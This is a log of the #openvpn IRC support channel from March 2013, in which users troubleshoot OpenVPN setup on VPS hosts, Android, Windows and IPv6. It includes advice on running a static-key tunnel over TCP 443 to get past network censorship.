08:52 < meskarune> Hey, I have a question about install OpenVPN access server on a Linode. Getting this error: Error: iptables service not started because of error (SVC_RUN_EXCEPT)
08:52 < meskarune> Linode is a XEN VPS host
08:52 < meskarune> I've been web searching and can't find much on that error message. how could I go about diagnosing this further?
09:03 <@EugeneKay> !notopenvpn
09:03 <@vpnHelper> "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
09:04 <@EugeneKay> Also, what weird init script/distro are you using for iptables that gives that?
09:05 <@EugeneKay> Ah I see; it's an AS error
09:05 <@EugeneKay> !as
09:05 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:06 <@EugeneKay> I can tell you that vanilla openvpn works just fine on Linodes
09:10 < Martin`> What is de diference between openvpn and as?
09:11 < Martin`> just an ui for openvpn or more?
09:11 <@EugeneKay> AS is a commercial product by OpenVPN Technologies
09:11 < Martin`> ok
09:11  * Martin` likes the vanilla one :P
09:11 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has quit [Ping timeout: 248 seconds]
09:11 < Martin`> I only have a strange problem, when I start a youtube movie on my laptop (or other movie in browser) openvpn reconnects :/
09:12 < Martin`> using tunnelblick on mac osx
09:12 <@EugeneKay> That's an intereesting one.
09:13 < Martin`> I known, not sure what can be the problem
09:13 <@EugeneKay> Me neither.
09:21 -!- xbanux [~xbanux@triband-mum-59.182.171.64.mtnl.net.in] has quit [Read error: Connection reset by peer]
09:21 -!- xbanux [~xbanux@triband-mum-59.182.152.115.mtnl.net.in] has joined #openvpn
09:23 < meskarune> thanks EugeneKay :)
09:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
09:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:33 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
09:37 -!- HyperGlide [~HyperGlid@125.69.7.147] has joined #openvpn
09:47 -!- master_of_master [~master_of@p4FF249F3.dip.t-dialin.net] has joined #openvpn
09:49 -!- master_o1_master [~master_of@p4FF24889.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
10:15 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
10:32 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:41 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:48 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
10:54 -!- brute11k [~brute@89.249.235.53] has quit [Ping timeout: 264 seconds]
10:57 -!- brute11k [~brute@89.249.235.53] has joined #openvpn
10:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:57 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 272 seconds]
11:05 -!- novaflash is now known as novaflash_away
11:10 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
11:11 -!- novaflash_away is now known as novaflash
11:23 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:26 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:26 -!- mode/#openvpn [+v s7r] by ChanServ
11:32 -!- riot [~riot@eris.hackerfleet.org] has quit [Ping timeout: 260 seconds]
11:38 -!- riot [~riot@eris.hackerfleet.org] has joined #openvpn
11:56 -!- hatschi [~marvin@dslb-188-098-223-091.pools.arcor-ip.net] has joined #openvpn
12:35 -!- brute11k [~brute@89.249.235.53] has quit [Ping timeout: 255 seconds]
12:35 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
12:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:37 -!- brute11k [~brute@89.249.235.53] has joined #openvpn
12:51 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 245 seconds]
13:00 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 260 seconds]
13:01 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
13:09 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
13:10 -!- master_o1_master [~master_of@p4FF24414.dip.t-dialin.net] has joined #openvpn
13:12 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
13:13 -!- master_of_master [~master_of@p4FF249F3.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
13:17 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
13:18 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
13:22 -!- hatschi [~marvin@dslb-188-098-223-091.pools.arcor-ip.net] has quit [Quit: hatschi]
13:23 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 245 seconds]
13:30 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
13:31 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
13:31 -!- kubbing [~kubbing@89.177.146.18] has quit [Read error: Connection reset by peer]
13:32 -!- raidz_away is now known as raidz
13:32 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
13:32 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
13:32 -!- mode/#openvpn [+o raidz] by ChanServ
13:32 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
13:33 -!- master_of_master [~master_of@p4FF24E5B.dip.t-dialin.net] has joined #openvpn
13:36 -!- master_o1_master [~master_of@p4FF24414.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
13:43 -!- Sidze- [~Sid@ppp-seco11pa2-46-193-129.71.wb.wifirst.net] has joined #openvpn
13:46 < Sidze-> hi all, I have an issue with openvpn with Xubuntu 12.10 as client and Proxmox VE 2.3 as server. My server configuration seems to be works and my client configuration too. I can connect to the server but I cann't going outside.  I think I have an routing issue, anyone can say me if there is issue with route : http://paste.debian.net/242150/
13:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:56 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
13:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:01 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Read error: Operation timed out]
14:06 -!- meskarune [~meskarune@maharani.meskarune.com] has left #openvpn ["WeeChat 0.4.0"]
14:08 -!- xbanux [~xbanux@triband-mum-59.182.152.115.mtnl.net.in] has quit [Ping timeout: 260 seconds]
14:12 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
14:28 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
14:37 -!- nonotza_ [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
14:37 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
14:37 -!- nonotza_ is now known as nonotza
14:39 -!- Sidze- [~Sid@ppp-seco11pa2-46-193-129.71.wb.wifirst.net] has quit [Read error: Operation timed out]
14:42 -!- Sidze- [~Sid@ppp-seco11pa2-46-193-129.71.wb.wifirst.net] has joined #openvpn
14:51 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
14:57 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
15:11 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 264 seconds]
15:11 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
15:14 -!- Sidze- [~Sid@ppp-seco11pa2-46-193-129.71.wb.wifirst.net] has quit [Read error: Connection reset by peer]
15:28 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Quit: nonotza]
15:28 -!- master_of_master [~master_of@p4FF24E5B.dip.t-dialin.net] has quit [Read error: Operation timed out]
15:32 -!- master_of_master [~master_of@p4FF2495D.dip.t-dialin.net] has joined #openvpn
15:47 -!- brute11k [~brute@89.249.235.53] has quit [Quit: Leaving.]
15:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
15:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:14 -!- m0r0n|3 [~kvirc@dsl-67-55-0-106.acanac.net] has joined #openvpn
16:14 < m0r0n|3> Hello
16:15 < m0r0n|3> My isp is hosting a vpn for me and when I connect to it using the same login info one of my computers gets disconnected. How do I connect two computers to the VPN?
16:40 < pekster> This is an OpenVPN connection? And do you control the server?
16:45 < rob0> I'd guess "yes, no." So you'd ask the ISP for another account.
16:45 < rob0> or, if both are at the same site, route the second one's traffic through the one which is connected to the VPN.
17:14 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has quit [Ping timeout: 260 seconds]
17:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
17:33 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 245 seconds]
17:34 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
17:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
17:44 -!- kubbing [~kubbing@89.177.146.18] has quit [Ping timeout: 252 seconds]
17:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:46 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
17:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
17:59 -!- _d4vid [~stern@pdpc/supporter/student/d4vid] has joined #openvpn
17:59 < _d4vid> hi again
17:59 < _d4vid> how to set openvpn for specific port?
17:59 < _d4vid> like 80
18:00 < _d4vid> i mean client config
18:01 < pekster> _d4vid: You can add the port to the end of the --remote command after the target IP/host, or use the --rport. Use of --port implies both --rport and --lport, unless you also specify --nobind
18:39 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:41 -!- master_o1_master [~master_of@p4FF24D9B.dip.t-dialin.net] has joined #openvpn
18:44 -!- master_of_master [~master_of@p4FF2495D.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
19:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
19:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:53 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
20:57 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
21:03 -!- m0r0n|3 [~kvirc@dsl-67-55-0-106.acanac.net] has quit [Ping timeout: 264 seconds]
21:22 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
21:24 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
21:27 -!- HyperGlide [~HyperGlid@125.69.7.147] has quit [Remote host closed the connection]
21:28 -!- HyperGlide [~HyperGlid@125.69.7.147] has joined #openvpn
21:28 -!- HyperGlide [~HyperGlid@125.69.7.147] has quit [Read error: Connection reset by peer]
21:29 -!- HyperGlide [~HyperGlid@125.69.7.147] has joined #openvpn
21:37 -!- HyperGlide [~HyperGlid@125.69.7.147] has quit [Remote host closed the connection]
21:41 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
21:41 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
21:49 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
21:50 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
21:50 -!- mode/#openvpn [+v hazardous] by ChanServ
22:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
22:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:20 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
22:23 -!- edwardly [~edwardly@cpe-72-190-113-138.tx.res.rr.com] has joined #openvpn
22:27 < edwardly> Hi, I'm trying to use the Android OpenVPN client, but I keep getting an error about remote_host not being a correct IP for the gateway.  Does OpenVPN for Android require root or something else set up for it to work?
22:27 < edwardly> The error: error parsing ipv4 route: [route] [remote_host] [255.255.255.255] [net_gateway] : addr_pair_mask_parse_error: AddrMaskPair parse error 'route': remote_host/255.255.255.255 : ip_parse_exception: error parsing route IP address 'remote_hos...
22:28 < edwardly> It cuts off the rest.  If you'd like the config I can get that as well, just will take a bit, and I'm not sure if it's needed if it's just that I need to root my Nexus 7.
22:38 -!- HyperGlide [~HyperGlid@125.69.7.147] has joined #openvpn
22:43 -!- HyperGlide [~HyperGlid@125.69.7.147] has quit [Remote host closed the connection]
22:43 -!- HyperGlide [~HyperGlid@125.69.7.147] has joined #openvpn
22:50 < pppingme> edwardly what version android you running?
22:50 < pppingme> and what do you have as the address for the remote server?
22:50 < edwardly> 4.2.2
22:51 < edwardly> It's an ovpn file someone else generated
22:51 < edwardly> remote vpn.limestonenetworks.com 1195
22:53 < pppingme> are you trying to use a tun or tap interface?
22:53 < edwardly> I am trying to use OpenVPN connect.  It looks like it is attempting to use a TUN interface
22:54 < edwardly> Sorry,I missed the start of the error: Tuninterface setup failed: tun_builder_error: and then the rest
22:55 < pppingme> hmm  I don't know the android client that well, but the two big things are it needs something above 4 on the android side, which you are, and it only works over tun, nto tap, which you think you're doing..
22:55 < edwardly> Also, I mean what I said as I'm trying to use OpenVPN connect for android, so I don't know where I'd even change betwen tun or tap
22:56 < pppingme> the server is also setup for tun, right?
22:57 < pppingme> not just the client..
23:03 -!- newbie|4 [~tjz@bb219-74-189-54.singnet.com.sg] has quit [Quit: quit irc]
23:03 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
23:05 < edwardly> Yes, the server is set up for tun
23:24 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
23:24 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
23:27 -!- HyperGlide [~HyperGlid@125.69.7.147] has quit [Remote host closed the connection]
23:30 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Remote host closed the connection]
--- Day changed Sun Mar 17 2013
00:00 -!- AlbinoGeek [AcademyInt@S0106602ad0846dde.vs.shawcable.net] has joined #openvpn
00:00 < AlbinoGeek> Quick question, concerning the whole "add keys" section of the man; if I already have users, which commands do I __NOT__ run (to not delete the current CA, etc?)
00:02 < AlbinoGeek> Nevermind, got it; just need to skip the CA stuff and it uses the existing ones.
00:02 -!- AlbinoGeek [AcademyInt@S0106602ad0846dde.vs.shawcable.net] has left #openvpn ["I need a new part message."]
00:15 -!- JSharpe [~JSharpe@web.sinexdigitalrecovery.com] has quit [Ping timeout: 252 seconds]
00:24 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
00:39 < edwardly> I had to use the OpenVPN for Android package, the OpenVPN Connect one which is the official doesn't work with remote_host I guess?
00:40 -!- ddlk [~ddlk@115.211.187.28] has joined #openvpn
00:40 < ddlk> Anybody has experience with tunneling OpenVPN with Stunnel?
00:41 < ddlk> my vpn client can reach the stunnel server via stunnel client, but cannot establish the connection with vpn server
00:45 < pppingme> why are you trying to use OpenVPN wiht stunnel?
00:46 < pppingme> OpenVPN already encrypts, there's no need for stunnel
00:49 < ddlk> China gov has the ability to block OpenVPN connection
00:50 < ddlk> Have to use standard SSL to connect to port 443 to establish the connection
00:50 < pppingme> run it on a different port, and possibly with tcp instead of udp
00:51 < ddlk> the stunnel server must listen on 443, as I said. I think it's iptables issue, cannot figure out how to config it
00:52 < pppingme> its generally not a good thing to run encryption over encryption, its just going to give you headaches
00:52 < pppingme> just run openvpn over 443
00:53 < ddlk> Already tried that, openvpn on port 443 with TCP, no luck
00:54 < ddlk> nothing can give me more headaches than cannot use google
00:54 < pppingme> keep it simple, don't complicate it, thats why you're having so many problems troubleshooting it
00:54 < ddlk> Any suggestions?
00:54 < pppingme> once you simplify it, come back and ask for help
00:55 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
00:56 < ddlk> it's not complicated at all, just tunneling vpn via stunnel
00:57 < pppingme> I doubt you'll find any help with that mess..
00:57 < pppingme> I've already offered if you dump the **** setup, but if you insist in keeping it, I refuse
00:59 <@EugeneKay> pppingme - it's OK to fuckign swear
00:59 <@EugeneKay> We're all(should be) adults here.
00:59 < ddlk> well... I am not ....
01:00 < pppingme> then you need to go ask your mommy and daddy before you get on the big bad computer..
01:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
01:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:16 -!- master_of_master [~master_of@p4FF248F1.dip.t-dialin.net] has joined #openvpn
01:19 -!- master_o1_master [~master_of@p4FF24D9B.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
01:36 < pekster> ddlk: OpenVPN in static key over an obscure port should help. Symmetric crypto has no identifying handshake and no protocol to match on
01:36 < pekster> !statickey
01:36 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
01:37 < pekster> If you want the benefit of Perfect Forward Secrecy over that, you can technically run a TLS VPN over a static tunnel, although if your goal is bypassing censorship in China, a pure static key tunnel may be all you want/need
02:07 -!- newbie|3 [~tjz@bb219-74-189-54.singnet.com.sg] has joined #openvpn
02:10 < ddlk> Thanks for the hint, pekster
02:10 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
02:11 < ddlk> tring that, but I got stuck on the server, the log says: UDPv4 link remote: [undef]
02:16 -!- master_o1_master [~master_of@p4FF2451B.dip.t-dialin.net] has joined #openvpn
02:18 -!- master_of_master [~master_of@p4FF248F1.dip.t-dialin.net] has quit [Read error: Operation timed out]
02:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:27 < pekster> ddlk: That's expected for a server that listens for external connections. The remote addressed is "undefined" in such a situation
02:33 < ddlk> that's to say, at this time I should start the client to connect to the server, right? but when I did so, the client also stuck at UDPv4 blah remote: my_ip
02:43 -!- brute11k [~brute@89.249.231.71] has joined #openvpn
02:43 -!- m0r0n [~kvirc@CPE647002deb0dd-CM001bd71e7460.cpe.net.cable.rogers.com] has joined #openvpn
02:45 -!- master_of_master [~master_of@p4FF24DCF.dip.t-dialin.net] has joined #openvpn
02:46 -!- master_o1_master [~master_of@p4FF2451B.dip.t-dialin.net] has quit [Read error: Operation timed out]
02:57 -!- m0r0n [~kvirc@CPE647002deb0dd-CM001bd71e7460.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
03:02 -!- ddlk [~ddlk@115.211.187.28] has quit []
03:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
03:14 -!- ddlk [~ddlk@115.211.187.28] has joined #openvpn
03:14 < ddlk> pekster: finally got it worked, have to use the tcp on 443 with static key
03:14 -!- master_o1_master [~master_of@p4FF24CF8.dip.t-dialin.net] has joined #openvpn
03:17 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
03:18 -!- master_of_master [~master_of@p4FF24DCF.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
03:20 -!- master_of_master [~master_of@p4FF24393.dip.t-dialin.net] has joined #openvpn
03:20 -!- master_o1_master [~master_of@p4FF24CF8.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
03:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
03:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:32 -!- master_o1_master [~master_of@p4FF24A7F.dip.t-dialin.net] has joined #openvpn
03:35 -!- master_of_master [~master_of@p4FF24393.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
03:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:39 -!- Orbi [~opera@anon-184-194.vpn.ipredator.se] has joined #openvpn
03:50 -!- master_of_master [~master_of@p4FF24D80.dip.t-dialin.net] has joined #openvpn
03:53 -!- master_o1_master [~master_of@p4FF24A7F.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
03:55 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
04:04 -!- master_o1_master [~master_of@p4FF24F40.dip.t-dialin.net] has joined #openvpn
04:05 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 246 seconds]
04:07 -!- master_of_master [~master_of@p4FF24D80.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
04:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:17 -!- master_of_master [~master_of@p4FF245AD.dip.t-dialin.net] has joined #openvpn
04:17 < pekster> ddlk: Good to hear. Yea, censorship sucks. With static key it's usually possible to tell that "something" is encrypted, but not what exactly it is. The stream has no definable start or end, nor any handshake; it's literally a bunch of random data
04:19 -!- master_o1_master [~master_of@p4FF24F40.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
04:20 < jzaw> that sounds like an advantage pekster
04:20 < jzaw> well done ddlk hate big brother
04:20 < pekster> At the expense of multi-client support and the TLS-based re-keying that provides perfect forward secrecy, yes
04:21 < pekster> Usually TLS is considered a "better" option, but static key has its advantages too (like this case)
04:21  * jzaw nods
04:21 < jzaw> btw im slowly adding *features* to my tunnel
04:21 < jzaw> ive got the ends pinging ipv6
04:22 < jzaw> each other
04:22 < jzaw> oh i compiled openvpn-testing
04:22 < pekster> Sure, if you don't mind testing some newer features, it's not a bad way to try out the new code
04:23 < jzaw> :)
04:23 < jzaw> at the mo for ipv4 im def1'ing
04:23 < jzaw> as i want to be able to ssh to at least 1 or 2 clients
04:25 < jzaw> btw pekster in the openvpn faq it strongly suggests using def1 .. out of curiosity why is that suggested over the other option of deleting old default gw and adding the new one ?
04:25 < jzaw> the latter being somewhat less confusing to the eye
04:26 < jzaw> when one does an ip route list
04:26 < jzaw> show
04:28 < pekster> jzaw: If you omit using def1, local DHCP renewal tends to wipe out the gateway again
04:29 < jzaw> ah thats one thing yes
04:29 < pekster> Using two /1 routes prevents any local automated processes like that from interfering with the redirectin
04:29 < jzaw> gotcha
04:29 < pekster> Use 2000::/3 in IPv6 for the same effect
04:29 < jzaw> i suppose thats more if the client isnt the remote network's gw though
04:30 < jzaw> since then it would likely be the dhcpd rather than dhcp client
04:30 < jzaw> is my thinking right?
04:31 < pekster> Depends on how the client is configured. It's generally preferred to use the 'def1' feature unless you are sure your local system won't be impacted by gateway changes at any other time
04:31  * jzaw nods
04:32 < jzaw> mine was working well till i rebooted the VM running ovpn server
04:32 < jzaw> then i pulled my hair out for 2 hours trying to get it routing properly again
04:32 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
04:32 < jzaw> the only thing id forgotten was to edit /etc/sysctl.conf ... to permanently enable v4 forwarding
04:32 < pekster> You should try to fix that. Assuming you set it all up, you should be able to restart and have any services like that come back on startup
04:32 < jzaw> d'oh
04:32 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
04:33 < jzaw> fixed now ... shant forget that one again
04:33 < jzaw> i can reboot either end now and it all comes back up
04:34 < jzaw> pekster, i know i can send ipv6 down the established ipv4 tunnel
04:34 < jzaw> is it possible to have a purely ipv6 tunnel ?
04:35 < pekster> Using --tun-ipv6 I believe requires an IPv4 address configured as well, although you can just assign some rfc1918 subnet
04:36 < jzaw> for the tun/tap ?
04:36 < pekster> For tun anyway. tap is unaware of higher level protocols like IPv4 or IPv6
04:36 < jzaw> of course
04:37 < jzaw> but the server local ip and client local ... can be ipv6?
04:37 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
04:37 < pekster> Oh, sure, if you'd like to connect to your peer over IPv6 for the encapsulated packets
04:37 < jzaw> bingo!
04:38 < jzaw> ive mentioned before
04:38 < pekster> So use '--remote 2001:db8:abc::789' or '--remote ipv6.vpn.example.net'
04:38 < jzaw> having dual stack has saved me a couple of times
04:38 < jzaw> most recently ive killed my home lan ipv6 but could ssh in via ipv4 and fix it
04:38 < pekster> You can also just set up DNS to do the right thing and use the hostname. Assuming the client has working dual-stack and s properly configured DNS resolver, it'll all magically work
04:38 < jzaw> vice versa has happened too
04:39 < jzaw> in that case would it tend to prefre ipv6 ?
04:39 < jzaw> prefer
04:39 < pekster> I haven't actually tried that
04:39 < jzaw> or does it do what firexfox does ... which responds quicker gets used
04:40 < jzaw> most apps prefer ipv6 if its there .... mtr can be a pain sometimes
04:40 < pekster> I'm dual-stack at home through a v6 broker, and my browser always uses v6 when availalbe, although there's a setting for "fast v4 fallback" that IIRC is enabled by default (for broken IPv6 sites)
04:40  * jzaw nods
04:40 < jzaw> browser = firefox ?
04:40 < pekster> Yea
04:41 < pekster> Not sure about other browsers, although Iron (basically Chrome) seems to prefer v6 too
04:41 < jzaw> i think itll go for ipv4 even if theres ipv6 if v4 responds first
04:41 < pekster> It doesn't try both at once
04:41 < jzaw> it was explained to me that it does
04:41 < pekster> If it gets a quad-A record back, Firefox only initiates a connection to the IPv6 addresses
04:42 < jzaw> maybe we were chatting about a different feature /me shrugs
04:43 < jzaw> so it must have a time out on the v6 and falls back to v4
04:43 < jzaw> but doesnt do both at the same time
04:43 < pekster> Right
04:44 < pekster> I'm just not sure offhand how openvpn handles that. I'll have to set up a test on my internal DNS to assign a test system a v4+v6 address to see what the client does
04:44 < pekster> (but not tonight...)
04:44 < jzaw> :)
04:44 -!- catsup [~d@64.111.123.163] has quit [Remote host closed the connection]
04:54 -!- kubbing [~kubbing@89.177.146.18] has quit [Ping timeout: 246 seconds]
04:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
04:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:17 -!- master_o1_master [~master_of@p4FF24C06.dip.t-dialin.net] has joined #openvpn
05:21 -!- master_of_master [~master_of@p4FF245AD.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
05:22 -!- A2tec [~Aztec@fightclub.de] has joined #openvpn
05:23 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
05:26 -!- master_of_master [~master_of@p4FF24483.dip.t-dialin.net] has joined #openvpn
05:29 -!- master_o1_master [~master_of@p4FF24C06.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
05:31 -!- JSharpe [~JSharpe@146.185.24.18] has joined #openvpn
05:38 < Dennis84> hi all
05:46 < kisom> Morning
05:48 < Dennis84> Wulf: did you find some time to check the NULL-Pointer?
05:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
05:50 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:55 -!- Orbi [~opera@anon-184-194.vpn.ipredator.se] has quit [Ping timeout: 245 seconds]
05:55 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
06:31 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:42 -!- ddlk [~ddlk@115.211.187.28] has quit []
07:18 -!- p3rror [~mezgani@196.201.78.139] has joined #openvpn
07:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
07:39 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
07:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:44 -!- p3rror [~mezgani@196.201.78.139] has quit [Ping timeout: 245 seconds]
07:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
07:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
07:57 -!- p3rror [~mezgani@41.140.196.35] has joined #openvpn
08:02 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
08:03 < hrenovo> hi. How can I get autovpn to autostart and autoconnect with windows ?
08:03 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
08:05 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
08:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:16 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
08:22 < hrenovo> hi. How can I get autovpn to autostart and autoconnect with windows ?
08:24 <@ecrist> set it up as a service
08:25 <@EugeneKay> hrenovo - the openvpn installer creates a Windows service named "openvpn". Place your config files into the install dir's "conf" folder, and enable this service.
